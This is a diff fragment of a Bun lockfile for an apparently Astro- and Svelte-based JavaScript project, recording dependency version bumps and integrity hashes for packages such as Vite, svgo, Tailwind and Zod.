"svgo": ["svgo@4.0.0", "", { "dependencies": { "commander": "^11.1.0", "css-select": "^5.1.0", "css-tree": "^3.0.1", "css-what": "^6.1.0", "csso": "^5.0.5", "picocolors": "^1.1.1", "sax": "^1.4.1" }, "bin": "./bin/svgo.js" }, "sha512-VvrHQ+9uniE+Mvx3+C9IEe/lWasXCU0nXMY2kZeLrHNICuRiC8uMPyM14UEaMOFA5mhyQqEkB02VoQ16n3DLaw=="], "svelte": ["svelte@5.55.5", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "@jridgewell/sourcemap-codec": "^1.5.0", "@sveltejs/acorn-typescript": "^1.0.5", "@types/estree": "^1.0.5", "@types/trusted-types": "^2.0.7", "acorn": "^8.12.1", "aria-query": "5.3.1", "axobject-query": "^4.1.0", "clsx": "^2.1.1", "devalue": "^5.6.4", "esm-env": "^1.2.1", "esrap": "^2.2.4", "is-reference": "^3.0.3", "locate-character": "^3.0.0", "magic-string": "^0.30.11", "zimmerframe": "^1.1.2" } }, "sha512-2uCs/LZ9us+AktdzYJM8OcxQ8qnPS1kpaO7syGT/MgO+6Qr1Ybl+TqPq+97u7PHqmmMlye5ZkoyXONy5mjjAbw=="],
"svelte2tsx": ["svelte2tsx@0.7.53", "", { "dependencies": { "dedent-js": "^1.0.1", "scule": "^1.3.0" }, "peerDependencies": { "svelte": "^3.55 || ^4.0.0-next.0 || ^4.0 || ^5.0.0-next.0", "typescript": "^4.9.4 || ^5.0.0" } }, "sha512-ljVSwmnYRDHRm8+7ICP6QoAN7U7vgOFfPBLN6T745YWNYqRRSzHxlrzUVqMjYls2Un8MzJissfziy/38e6Deeg=="],
"svgo": ["svgo@4.0.1", "", { "dependencies": { "commander": "^11.1.0", "css-select": "^5.1.0", "css-tree": "^3.0.1", "css-what": "^6.1.0", "csso": "^5.0.5", "picocolors": "^1.1.1", "sax": "^1.5.0" }, "bin": "./bin/svgo.js" }, "sha512-XDpWUOPC6FEibaLzjfe0ucaV0YrOjYotGJO1WpF0Zd+n6ZGEQUsSugaoLq9QkEZtAfQIxT42UChcssDVPP3+/w=="],
"tailwindcss": ["tailwindcss@4.2.4", "", {}, "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA=="], "tailwindcss": ["tailwindcss@4.2.4", "", {}, "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA=="],
@@ -886,7 +905,9 @@
"tiny-inflate": ["tiny-inflate@1.0.3", "", {}, "sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw=="], "tiny-inflate": ["tiny-inflate@1.0.3", "", {}, "sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw=="],
"tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="], "tinyclip": ["tinyclip@0.1.12", "", {}, "sha512-Ae3OVUqifDw0wBriIBS7yVaW44Dp6eSHQcyq4Igc7eN2TJH/2YsicswaW+J/OuMvhpDPOKEgpAZCjkb4hpoyeA=="],
"tinyexec": ["tinyexec@1.1.1", "", {}, "sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg=="],
"tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="], "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="],
@@ -898,8 +919,6 @@
"tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
"type-fest": ["type-fest@4.41.0", "", {}, "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA=="],
"typesafe-path": ["typesafe-path@0.2.2", "", {}, "sha512-OJabfkAg1WLZSqJAJ0Z6Sdt3utnbzr/jh+NAHoyWHJe8CMSy79Gm085094M9nvTPy22KzTVn5Zq5mbapCI/hPA=="], "typesafe-path": ["typesafe-path@0.2.2", "", {}, "sha512-OJabfkAg1WLZSqJAJ0Z6Sdt3utnbzr/jh+NAHoyWHJe8CMSy79Gm085094M9nvTPy22KzTVn5Zq5mbapCI/hPA=="],
"typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="], "typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="],
@@ -932,7 +951,7 @@
"unist-util-stringify-position": ["unist-util-stringify-position@4.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ=="], "unist-util-stringify-position": ["unist-util-stringify-position@4.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ=="],
"unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], "unist-util-visit": ["unist-util-visit@5.1.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg=="],
"unist-util-visit-children": ["unist-util-visit-children@3.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-RgmdTfSBOg04sdPcpTSD1jzoNBjt9a80/ZCzp5cI9n1qPzLZWF9YdvWGN2zmTumP1HWhXKdUWexjy/Wy/lJ7tA=="], "unist-util-visit-children": ["unist-util-visit-children@3.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-RgmdTfSBOg04sdPcpTSD1jzoNBjt9a80/ZCzp5cI9n1qPzLZWF9YdvWGN2zmTumP1HWhXKdUWexjy/Wy/lJ7tA=="],
@@ -946,9 +965,9 @@
"vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="],
"vite": ["vite@6.4.1", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g=="], "vite": ["vite@7.3.2", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg=="],
"vitefu": ["vitefu@1.1.1", "", { "peerDependencies": { "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0-beta.0" }, "optionalPeers": ["vite"] }, "sha512-B/Fegf3i8zh0yFbpzZ21amWzHmuNlLlmJT6n7bu5e+pCHUKQIfXSYokrqOBGEMMe9UG2sostKQF9mml/vYaWJQ=="], "vitefu": ["vitefu@1.1.3", "", { "peerDependencies": { "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" }, "optionalPeers": ["vite"] }, "sha512-ub4okH7Z5KLjb6hDyjqrGXqWtWvoYdU3IGm/NorpgHncKoLTCfRIbvlhBm7r0YstIaQRYlp4yEbFqDcKSzXSSg=="],
"volar-service-css": ["volar-service-css@0.0.70", "", { "dependencies": { "vscode-css-languageservice": "^6.3.0", "vscode-languageserver-textdocument": "^1.0.11", "vscode-uri": "^3.0.8" }, "peerDependencies": { "@volar/language-service": "~2.4.0" }, "optionalPeers": ["@volar/language-service"] }, "sha512-K1qyOvBpE3rzdAv3e4/6Rv5yizrYPy5R/ne3IWCAzLBuMO4qBMV3kSqWzj6KUVe6S0AnN6wxF7cRkiaKfYMYJw=="], "volar-service-css": ["volar-service-css@0.0.70", "", { "dependencies": { "vscode-css-languageservice": "^6.3.0", "vscode-languageserver-textdocument": "^1.0.11", "vscode-uri": "^3.0.8" }, "peerDependencies": { "@volar/language-service": "~2.4.0" }, "optionalPeers": ["@volar/language-service"] }, "sha512-K1qyOvBpE3rzdAv3e4/6Rv5yizrYPy5R/ne3IWCAzLBuMO4qBMV3kSqWzj6KUVe6S0AnN6wxF7cRkiaKfYMYJw=="],
@@ -988,9 +1007,7 @@
"which-pm-runs": ["which-pm-runs@1.1.0", "", {}, "sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA=="], "which-pm-runs": ["which-pm-runs@1.1.0", "", {}, "sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA=="],
"widest-line": ["widest-line@5.0.0", "", { "dependencies": { "string-width": "^7.0.0" } }, "sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA=="], "wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="],
"wrap-ansi": ["wrap-ansi@9.0.2", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww=="],
"xxhash-wasm": ["xxhash-wasm@1.1.0", "", {}, "sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA=="], "xxhash-wasm": ["xxhash-wasm@1.1.0", "", {}, "sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA=="],
@@ -1002,26 +1019,26 @@
"yargs": ["yargs@17.7.2", "", { "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", "yargs-parser": "^21.1.1" } }, "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w=="], "yargs": ["yargs@17.7.2", "", { "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", "yargs-parser": "^21.1.1" } }, "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w=="],
"yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="], "yargs-parser": ["yargs-parser@22.0.0", "", {}, "sha512-rwu/ClNdSMpkSrUb+d6BRsSkLUq1fmfsY6TOpYzTwvwkg1/NRG85KBy3kq++A8LKQwX6lsu+aWad+2khvuXrqw=="],
"yocto-queue": ["yocto-queue@1.2.2", "", {}, "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ=="], "yocto-queue": ["yocto-queue@1.2.2", "", {}, "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ=="],
"yocto-spinner": ["yocto-spinner@0.2.3", "", { "dependencies": { "yoctocolors": "^2.1.1" } }, "sha512-sqBChb33loEnkoXte1bLg45bEBsOP9N1kzQh5JZNKj/0rik4zAPTNSAVPj3uQAdc6slYJ0Ksc403G2XgxsJQFQ=="], "zimmerframe": ["zimmerframe@1.1.4", "", {}, "sha512-B58NGBEoc8Y9MWWCQGl/gq9xBCe4IiKM0a2x7GZdQKOW5Exr8S1W24J6OgM1njK8xCRGvAJIL/MxXHf6SkmQKQ=="],
"yoctocolors": ["yoctocolors@2.1.2", "", {}, "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug=="],
"zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], "zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="],
"zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="],
"zod-to-ts": ["zod-to-ts@1.2.0", "", { "peerDependencies": { "typescript": "^4.9.4 || ^5.0.2", "zod": "^3" } }, "sha512-x30XE43V+InwGpvTySRNz9kB7qFU8DlyEy7BsSTCHPH1R0QasMmHWZDCzYm6bVXtj/9NNJAZF3jW8rzFvH5OFA=="],
"zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
"@astrojs/language-server/@astrojs/compiler": ["@astrojs/compiler@2.13.1", "", {}, "sha512-f3FN83d2G/v32ipNClRKgYv30onQlMZX1vCeZMjPsMMPl1mDpmbl0+N5BYo4S/ofzqJyS5hvwacEo0CCVDn/Qg=="], "@astrojs/language-server/@astrojs/compiler": ["@astrojs/compiler@2.13.1", "", {}, "sha512-f3FN83d2G/v32ipNClRKgYv30onQlMZX1vCeZMjPsMMPl1mDpmbl0+N5BYo4S/ofzqJyS5hvwacEo0CCVDn/Qg=="],
"@mdx-js/mdx/acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
"@mdx-js/mdx/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"@rollup/pluginutils/estree-walker": ["estree-walker@2.0.2", "", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="], "@rollup/pluginutils/estree-walker": ["estree-walker@2.0.2", "", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
"@rollup/pluginutils/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="],
"@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.9.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-mukuNALVsoix/w1BJwFzwXBN/dHeejQtuVzcDsfOEsdpCumXb/E9j8w11h5S54tT1xhifGfbbSm/ICrObRb3KA=="], "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.9.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-mukuNALVsoix/w1BJwFzwXBN/dHeejQtuVzcDsfOEsdpCumXb/E9j8w11h5S54tT1xhifGfbbSm/ICrObRb3KA=="],
"@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="], "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="],
@@ -1038,114 +1055,60 @@
"anymatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], "anymatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
"astro/zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="],
"boxen/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
"bun-types/@types/node": ["@types/node@25.0.3", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-W609buLVRVmeW693xKfzHeIV6nJGGz98uCPfeXI1ELMLXVeKYZ9m15fAMSaUPBHYLGFsVRcMmSCksQOrZV9BYA=="], "bun-types/@types/node": ["@types/node@25.0.3", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-W609buLVRVmeW693xKfzHeIV6nJGGz98uCPfeXI1ELMLXVeKYZ9m15fAMSaUPBHYLGFsVRcMmSCksQOrZV9BYA=="],
"cliui/wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="],
"csso/css-tree": ["css-tree@2.2.1", "", { "dependencies": { "mdn-data": "2.0.28", "source-map-js": "^1.0.1" } }, "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA=="], "csso/css-tree": ["css-tree@2.2.1", "", { "dependencies": { "mdn-data": "2.0.28", "source-map-js": "^1.0.1" } }, "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA=="],
"dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="], "dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
"esast-util-from-js/acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
"hast-util-raw/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"is-inside-container/is-docker": ["is-docker@3.0.0", "", { "bin": { "is-docker": "cli.js" } }, "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ=="],
"mdast-util-definitions/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"mdast-util-to-hast/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"mdast-util-to-markdown/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"micromark-extension-mdxjs/acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
"ofetch/ufo": ["ufo@1.6.1", "", {}, "sha512-9a4/uxlTWJ4+a5i0ooc1rU7C7YOw3wT+UGqdeNNHWnOF9qcMBgLRS+4IYUqbczewFx4mLEig6gawh7X6mFlEkA=="], "ofetch/ufo": ["ufo@1.6.1", "", {}, "sha512-9a4/uxlTWJ4+a5i0ooc1rU7C7YOw3wT+UGqdeNNHWnOF9qcMBgLRS+4IYUqbczewFx4mLEig6gawh7X6mFlEkA=="],
"parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="], "parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="],
"prompts/kleur": ["kleur@3.0.3", "", {}, "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w=="], "remark-smartypants/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"retext-smartypants/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"sharp/semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"svelte/aria-query": ["aria-query@5.3.1", "", {}, "sha512-Z/ZeOgVl7bcSYZ/u/rh0fOpvEpq//LZmdbkXyc7syVzjPAhfOa9ebsdTSjEBDU4vs5nC98Kfduj1uFo0qyET3g=="],
